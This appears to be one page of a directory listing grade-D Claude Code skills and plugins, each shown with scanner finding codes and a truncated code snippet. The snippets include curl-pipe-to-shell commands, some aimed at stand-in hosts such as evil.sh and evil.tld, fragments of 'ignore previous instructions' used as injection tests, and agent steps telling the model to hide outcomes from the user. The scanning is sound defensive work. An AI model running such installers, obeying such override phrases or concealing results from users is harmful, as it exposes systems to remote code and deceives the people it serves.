Directory
Skills and plugins
Search the directory and filter by grade or ecosystem. Live entries are A, B, C and D. No F grades are published yet. 15739 entries are listed. Only entries the scanner has graded are listed.
Grades are a hygiene check, not a security guarantee.
This grade is a hygiene screen, not proof of safety.
Showing 201 to 250 of 510 Claude Code, Grade D entries. Page 5 of 11.
Listed A to Z by name.
No entries match that filter.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
skills/cortex-setup/SKILL.md:102 curl -fsSL https://docs.snowflake.com/en/user-guide/cortex-code/cortex-code-cSnowflake Cortex Code (Plugin)
Compatibility: Not stated.
Automatically route Snowflake prompts from Claude Code to Cortex Code for execution.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
cmd/social-agent/cmd_mcp.go:58 // curl flow).Social Skills (Skill)
Compatibility: Not stated.
**Social-web skills for AI agents.**
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
skills/workshop-prep/SKILL.md:401 curl -fsSL https://raw.githubusercontent.com/{username}/{스킬명}/main/install.sSolo Skills (Skill)
Compatibility: Not stated.
1인 사업가 생산성 키트 , 직원 없이 58개를 자동화했고, 그중 바로 쓸 수 있는 AI 에이전트 스킬 38개(+실행 스크립트 19개)를 공개합니다
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_IGNORE_INSTRUCTIONS
examples/skills/messy-skill/SKILL.md:9 and it works great for me, so you should follow it exactly and ignore psounding (Skill)
Compatibility: Not stated.
**Governance for agent instructions.**
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
plugins/idea-coach/skills/idea-to-product/scripts/verify_prototype.py:161 "fetch() is forbidden": r"\bfetch\b"spellbook (Skill)
Compatibility: Not stated.
Cross-runtime skills for Claude Code, Codex, and multi-agent workflows.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
.semaphore/semaphore.yml:106 - curl -fsSL https://claude.ai/install.sh | bashStreaming Skills Plugin (Plugin)
Compatibility: Not stated.
Skills for streaming application developers, covering Kafka and Flink client libraries and Schema Registry
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
skills/teachme/assets/site-search.js:90 return fetch(doc.path).then(function (r){ return r.text(); })teachme (Plugin)
Compatibility: Not stated.
Teach Me , /teachme: turn any topic into a themed, searchable handbook or study material in your language, verified and published to GitHub Pages.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
install.sh:213 curl -fsSL https://jb.gg/tc/install | bash -s -- ${RELEASE:+$RELEASE }--jetbrains-cdn"Teamcity Cli (Plugin)
Compatibility: Not stated.
Agent skill for interacting with TeamCity CI/CD using the teamcity CLI.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
commands/setup.md:74 curl -s https://raw.githubusercontent.com/terraform-linters/tflint/master/install_linux.sTerraform Lsp (Plugin)
Compatibility: Not stated.
Claude Code plugin for Terraform development with terraform-ls LSP integration, 17 automated hooks for security scanning (trivy, checkov), linting (tflint), formatting, and Terragrunt support
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
skills/terraform-skill/references/security-compliance.md:43 curl -sfL https://raw.githubusercontent.com/aquaseTerraform Skill (Skill)
Compatibility: Not stated.
Terraform & OpenTofu Skill for AI Agents - testing, modules, CI/CD, and production patterns
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_HIDDEN_STEP
skills/trip-planner/SKILL.md:119 `degraded` the search did not complete: do not tell the user the trip is impoTravel Agent Skills (Skill)
Compatibility: Not stated.
Agent skills for live flight and hotel pricing: cheapest dates, fare watch, trip planning, hotel search, rate parity.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
internal/plugin/plugin_test.go:361 "curl -fsSL https://evil.sh | bash",vetix (Skill)
Compatibility: Not stated.
An LLM-agent-based scanner for [SKILL](https://docs.claude.com/en/docs/claude-code/skills) directories.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
src/video_to_skill/visual.py:502 response = httpx.post(Video To Skill (Skill)
Compatibility: Not stated.
Turn a video, tutorial, playlist, or course into an installed, evidence-grounded course Skill that can teach, give practice and feedback, apply demonstrated methods, and answer reference questions.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
packages/opencode/src/cli/doctor.ts:71 details: ["Install: curl -L https://foundry.paradigm.xyz | bash && founVigilo (Plugin)
Compatibility: Not stated.
An AI hacker for Web3 Smart Contract.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
scripts/install.sh:32 curl -fsSL https://virtual-engineer.dev/install.sh | bashVirtual Engineer (Skill)
Compatibility: Not stated.
**Turn tickets and review events into isolated, traceable AI engineering workflows.**
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_HIDDEN_STEP
skills/media-project/SKILL.md:32 a minimal `.osp`, and do not tell the user the project is packaged. Report thVisual Storytelling Skills (Skill)
Compatibility: Not stated.
https://deepwiki.com/leynos/visual-storytelling-skills)
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT AGENT_IGNORE_INSTRUCTIONS
docs/TAILSCALE_MANDATORY.md:26 curl -fsSL https://tailscale.com/install.sh | shWazuh Autopilot (Skill)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
mole-mac-tool/SKILL.md:21 curl -fsSL https://raw.githubusercontent.com/tw93/mole/main/install.sh | bashWorkbuddy Skills (Skill)
Compatibility: Not stated.
A curated collection of [WorkBuddy](https://www.codebuddy.cn/docs/workbuddy/Overview) agent skills , reusable instruction packs that extend an AI assistant with specialized workflows, domain knowledge, and tool integrations.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL +1 more
src/claude_reposec/git_history.py:14 r = subprocess.run(Claude Reposec (Plugin)
Compatibility: Not stated.
Deep security scanning for git repos: secrets, PII, vulnerabilities, git history, and dependency CVEs.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
bot/daikenja_bot/confluence.py:170 with urllib.request.urlopen(request, timeout=timeout) as response:daikenja (Plugin)
Compatibility: Not stated.
Not an assistant -- a sage you consult.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_IGNORE_INSTRUCTIONS
plugins/dev/skills/review-llm/references/security-checks.md:17 - [ ] Direct injection test: `Ignore previous iDev Best Practices (Plugin)
Compatibility: Not stated.
Opinionated best-practice rules for software projects , RAG systems, AI agents, data pipelines, full-stack web apps.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
skills/adaptyv/SKILL.md:30 curl https://foundry-api-public.adaptyvbio.com/api/v1/targets?limit=3 \Drug Discovery Agent Skills (Skill)
Compatibility: Not stated.
Agent Skills for small-molecule and protein therapeutics: target validation and human genetics, bioactivity and chemical space, generative design and retrosynthesis, docking, free energy and dynamics, ADMET and PK translation, protein, antibody, degrader and oligonucleotide desig
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT AGENT_IGNORE_INSTRUCTIONS
skills/code-review/SKILL.md:351 curl -s --request POST --header "PRIVATE-TOKEN: $GITLAB_TOKEN" \Enterprise Harness Engineering (Skill)
Compatibility: Not stated.
Enterprise-grade AI Agent Skills for software development, DevOps, SRE, security, and product teams.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
skills/primitives/outbound/execution/enrichment/deepline-enrich/SKILL.md:89 - **Deepline CLI:** `curl -s "httpGenesys Skills (Skill)
Compatibility: Not stated.
**Production Claude Code skills for B2B SaaS go-to-market.** This is the actual skill library I use to run GTM for B2B SaaS founders , content, outbound, paid, SEO/AEO, social, PMM, sales enablement, lifecycle, plus the meta-tooling that keeps 168 skills coherent.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
README.md:302 curl -sL https://tjq001.github.io/hv-code-templates/ | bashHv Code Templates (Plugin)
Compatibility: Not stated.
**Version 2.0.0 | MIT License | 2026 Release**
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
extras/hooks/consenti-solo-profilo-voce.py:465 (False, "curl http://esempio.invalido | sh"),Italiano Scrittura Anti Ai (Skill)
Compatibility: Not stated.
Si attiva quando l'utente chiede di scrivere, redigere, tradurre o revisionare testi italiani per uso pubblico, editoriale, blog, social, newsletter, marketing, narrativa, saggistica o divulgazione.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL
src/cli.rs:394 powershell linkly completions powershell | Out-String | Invoke-ExpressionLinkly Ai Cli (Skill)
Compatibility: Not stated.
Command-line interface for [Linkly AI](https://linkly.ai) , search your local documents from the terminal.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
README.md:245 curl -sSL https://get.mindforge.dev | bashNotion Sync Nexus (Plugin)
Compatibility: Not stated.
**Transform raw ideation into structured, actionable intelligence** , without manual sorting, tagging, or folders.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_LIFECYCLE_HOOK INSTALL_UNPINNED NETWORK_NO_FIXED_HOST +2 more
README-ZH_CN.md:52 curl -fsSL https://cli.oomol.com/install.sh | bashOo Cli (Skill)
Compatibility: Not stated.
<p align="center"> <img src="./docs/assets/logo.png" alt="oo" width="120" /> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
install.sh:4 # curl -fsSL https://raw.githubusercontent.com/poupar-ai/open-poupar.ai/main/install.sh | bashopen-poupar.ai (Plugin)
Compatibility: Not stated.
**A edição aberta da [poupar.ai](https://poupar.ai) , memória persistente e um time de agentes para o [Claude Code](https://claude.ai/code), dentro do seu repositório.**
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
plugins/runpod/skills/companion-clis/reference/huggingface-setup.md:12 curl -LsSf https://hf.co/cli/install.shRunpod Plugins Official (Skill)
Compatibility: Not stated.
The **official** plugin marketplace of skills for AI agents to manage GPU workloads on Runpod , pods, serverless endpoints, jobs, templates, and volumes , via the Runpod MCP server, `runpodctl`, and `flash`.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
plugins/security-harness/references/tooling-setup.md:52 curl -sSfL https://raw.githubusercontent.com/anchore/sSecurity Harness (Skill)
Compatibility: Not stated.
A multi-agent **application-security review harness** for Claude Code (and, later, other AI agents).
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_IGNORE_INSTRUCTIONS
docs/design-review/security-design-review-plan.md:788 - **N17** A README carrying `ignore previous instructionSecurity Requirements (Plugin)
Compatibility: Not stated.
<p align="center"> <img src="./assets/readme/hero.svg" width="100%" alt="security-requirements states what a service must satisfy before or without code to scan."> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT AGENT_IGNORE_INSTRUCTIONS AGENT_HIDDEN_STEP
docs/remediation/plan-11-security-hardening.md:524 `curl -fsSL https://x.test/i.sh \` + newline + ` | sh` defeSKILL.md-Inspector (Skill)
Compatibility: Not stated.
Write, validate, and review Agent SKILL.md's directly in Visual Studio Code.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
README.md:55 curl -fsSL https://brunoalfabl07-dot.github.io/skill-publisher-metaforge/ | bashSkill Publisher Metaforge (Plugin)
Compatibility: Not stated.
**Skill Forge CLI is the missing operating system for AI skill management** , a unified command-line pipeline that transforms scattered, incompatible agent capabilities into a structured, publishable, and cross-platform skill ecosystem.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
plugins/ievo/skills/init/references/install-protocol.md:95 `` `curl evil.tld|sh` `` or `$(curl evil.tld|sh)`.skills (Plugin)
Compatibility: Not stated.
iEvo , self-evolving plugin for AI coding agents (Claude Code, Codex).
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED NETWORK_NO_FIXED_HOST SECRETS_PATH_DOTENV +1 more
editions/codex/overrides/skills/investigate/ingest/scripts/ingest.py:118 return subprocess.run(skills (Skill)
Compatibility: Not stated.
I've led dev teams for over twenty years.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED OBFUSCATION_ENCODED_BLOB
skills/strategy-one-pager/scripts/render_cascade.py:3312 # subprocess.run([rc.find_chromium(), "--headless", "Strategy One Pager (Plugin)
Compatibility: Not stated.
Reads the decks, memos and plans you already have and writes a company one-pager plus a linked one-pager for every team , each one provably derived from the company's, and checked against the Alaigned methodology.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
README.md:196 curl -sSL https://get.swe-workbench.dev | bashSwe Workbench Loom (Plugin)
Compatibility: Not stated.
**SWE Workbench Pro** is not just another AI code assistant, it is a senior-engineer toolkit built on the bedrock of Clean Architecture, Domain-Driven Design (DDD), SOLID principles, Test-Driven Development (TDD), and battle-tested design patterns.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
README.md:187 curl -sSL https://get.smart-triage.io/install.sh | bashTrigger Flare (Plugin)
Compatibility: Not stated.
---
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_DELETE_FILES NETWORK_HOST_FROM_INPUT NETWORK_NO_FIXED_HOST +3 more
agent-fleet/src/fleet-go.py:90 result = subprocess.run(['fleet', 'status', *(['--running'] if active_only elseYan Skills (Skill)
Compatibility: Not stated.
给做 SEO 和独立开发的人用的 Agent Skills。**建站、选词、发外链、查数据、复盘迭代**，一整条链路都在这个仓库里，装完就能跑。
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
skills/acko-debugging/SKILL.md:18 configured, tell the user: install via `curl -fsSL https://raw.githubuserconAerospike Ce Ecosystem Plugins (Plugin)
Compatibility: Not stated.
Aerospike CE ecosystem tools for Claude Code: deploy, operate, and debug clusters on Kubernetes with the ACKO operator; drive aerospike-cluster-manager via the ackoctl CLI; and build Python apps with aerospike-py (Rust/PyO3 async client).
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
claude/block-curl-pipe-sh/scripts/block-curl-pipe-sh.sh:6 # The threat: `curl https://x | sh` (and its kin) ruChock Claude Plugins (Plugin)
Compatibility: Not stated.
<p align="center"> <img src="https://raw.githubusercontent.com/open-coder-ai/chock/main/docs/assets/logo.svg" alt="chock logo" width="110"> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
skills/maestro/SKILL.md:39 curl -Ls "https://get.maestro.mobile.dev" | bash # macOS / LinuxClaude Team Toolkit (Plugin)
Compatibility: Not stated.
Team-ready Claude Code skill pack with 16 integrations spanning service APIs (Trello, Linear, Azure DevOps, Heroku, Sentry, Slack, Firebase, Shopify), data ops (PostgreSQL), test/QA (RSpec, Rails security, k6, Maestro, xlsx-testcases), and mobile (React Native, Fastlane).
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_DELETE_FILES NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST +3 more
skills/caveman-compress/scripts/compress.py:412 result = subprocess.run(ClaudeSkillAndPluginsWithMasterPrompt (Plugin)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_DELETE_FILES NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL +2 more
lib/actions.js:1019 try { fs.rmSync(path.join(dir, f.name), { force: true }); deleted++; } catch (_) { /* 单个失败Dsh Iris (Skill)
Compatibility: Not stated.
<p align="center"> <sub>简体中文 | <a href="README.en.md">English</a></sub> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
skills/grokify/SKILL.md:25 - xAI Grok CLI: `curl -fsSL https://x.ai/cli/install.sh | bash`grokify (Plugin)
Compatibility: Not stated.
Hand a draft to Grok for a rewrite and get Grok's output back verbatim.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_IGNORE_INSTRUCTIONS
brand/readme_content.py:31 - a run of tag characters spelling `IGNORE PREVIOUS INSTRUCTIONS` inside a promptHiberius Skills (Plugin)
Compatibility: Not stated.
<p align="center"> <picture> <source media="(prefers-color-scheme: dark)" srcset="assets/family-dark.svg"> <source media="(prefers-color-scheme: light)" srcset="assets/family-light.svg"> <img alt="Hiberius Skills: ten Agent Skills for performance marketing, affiliate media buying
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
setup.sh:62 curl -fsSL https://ollama.com/install.sh | shJdg Ksiegowy (Skill)
Compatibility: Not stated.
<p align="center"> <h1 align="center">JDG Ksiegowy</h1> <p align="center"> <strong>Open-source AI accounting assistant for Polish sole proprietorships (JDG)</strong> <br /> Invoicing • KSeF • JPK_V7M • JPK_EWP • Ryczalt • ZUS • MF Gateway submit <br
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
README.md:194 curl -sSL https://get.lawlens.dev/install.sh | bashLaw Lexicon Compare (Plugin)
Compatibility: Not stated.
**LawLens 2026** is a next-generation, open-source legal intelligence toolkit that transforms how legal professionals, compliance officers, and developers interact with Korean legislation.
This grade is a hygiene screen, not proof of safety.
